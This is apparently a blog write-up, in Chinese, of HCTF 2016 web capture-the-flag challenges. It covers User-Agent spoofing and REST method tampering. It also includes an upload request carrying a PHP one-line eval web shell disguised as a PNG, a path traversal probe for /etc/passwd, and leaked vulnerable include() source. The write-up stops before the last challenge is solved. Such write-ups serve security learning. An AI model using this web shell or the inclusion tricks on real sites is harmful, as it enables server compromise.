MENU

HCTF 2016 Writeup

November 30, 2016 • Read: 4041 • CTF

WEB

WEB 部分。

2099 年的 flag

题目链接

only ios99 can get flag(Maybe you can easily get the flag in 2099

提示 iOS,换个 UA。

Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13C75 Safari/601.1

改了还不对,又试了下 99_2,成功。

ios99

RESTFUL

题目链接

"Please me some more than <12450>!"

抓包看到出首页外还有一个 http://jinja.hctf.io/index.php/flag 的请求,返回了一个 JSON 格式,结合题目名称 RESTFUL,这是一个 API 的返回,GET 请求改成 PUT,flag 改为 money,数字给一个大点的数。

restful

giligili

这就是个有毒的题,混淆后的代码分析,硬着头皮看吧。

兵者多诡

题目链接

乍一看是一道上传题,抓包看看。

POST /home.php?fp=upload HTTP/1.1
Host: pics.hctf.io
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13C75 Safari/601.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://pics.hctf.io/home.php?fp=upload
Cookie: PHPSESSID=jnch220k3u0taqs32i7nb7b3h2
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------108312806716477
Content-Length: 333

-----------------------------108312806716477
Content-Disposition: form-data; name="image"; filename="onesphp.png"
Content-Type: image/png

<?php @eval($_POST['40huo']);?>
-----------------------------108312806716477
Content-Disposition: form-data; name="submit"

通过修改,传了一个包含一句话的伪 png 图片上去,返回地址 id,点击链接得到图片地址。

http://pics.hctf.io/uploads/9776d773d7192d31c39b524113b15460f684f5fd.png

upload1

但是好像并没有什么用,先放在一边。

显示图片那里经测试发现一个仿佛文件包含的东西。

http://pics.hctf.io/home.php?fp=../../../../../../../../../etc/passwd

虽然被 waf 拦了,不过既然有 waf,说明我们的思路还是有可能正确的。用 php filter 得到源码。

<?php  
error_reporting(0);

@session_start();
posix_setuid(1000);

$fp = empty($_GET['fp']) ? 'fail' : $_GET['fp'];
if(preg_match('/\.\./',$fp))
{
    die('No No No!');
}
if(preg_match('/rm/i',$_SERVER["QUERY_STRING"]))
{
    die();
}
?>
<!DOCTYPE html>
<html>
    <head>
        <title></title>
        <meta charset="utf-8">
        <link href="css/bootstrap.min.css" rel="stylesheet">
        <link href="css/jumbotron-narrow.css" rel="stylesheet">
    </head>
    <body>
        <div class="container">
            <div class="header clearfix">
                <nav>
                    <ul class="nav nav-pills pull-right">
                        <li role="presentation" class="active"><a href="home.php?key=hduisa123">Home</a></li>
                    </ul>
                </nav>
                <h3 class="text-muted">pictures</h3>
            </div>

            <div class="jumbotron">
                <h1>Pictures Storage</h1>
                <p class="lead">在这里上传您的图片,我们将为您保存</p>
                <form action="?fp=upload" method="POST" id="form" enctype="multipart/form-data">
                    <input type="file" id="image" name="image" class="btn btn-lg btn-success" style="margin-left: auto; margin-right: auto;">
                    <br>
                    <input type="submit" id="submit" name="submit" class="btn btn-lg btn-success" role="button" value="上传图片">
                </form>
            </div>
        </div> 
    </body>
</html>
<?php  
if($fp !== 'fail')
{
    if(!(include($fp.'.php')))
    {
        ?>
        <div class="alert alert-danger" role="alert">没有此页面</div>
        <?php
            exit;
    }
}
?>
Last Modified: February 15, 2017
Archives QR Code
QR Code for this page
Tipping QR Code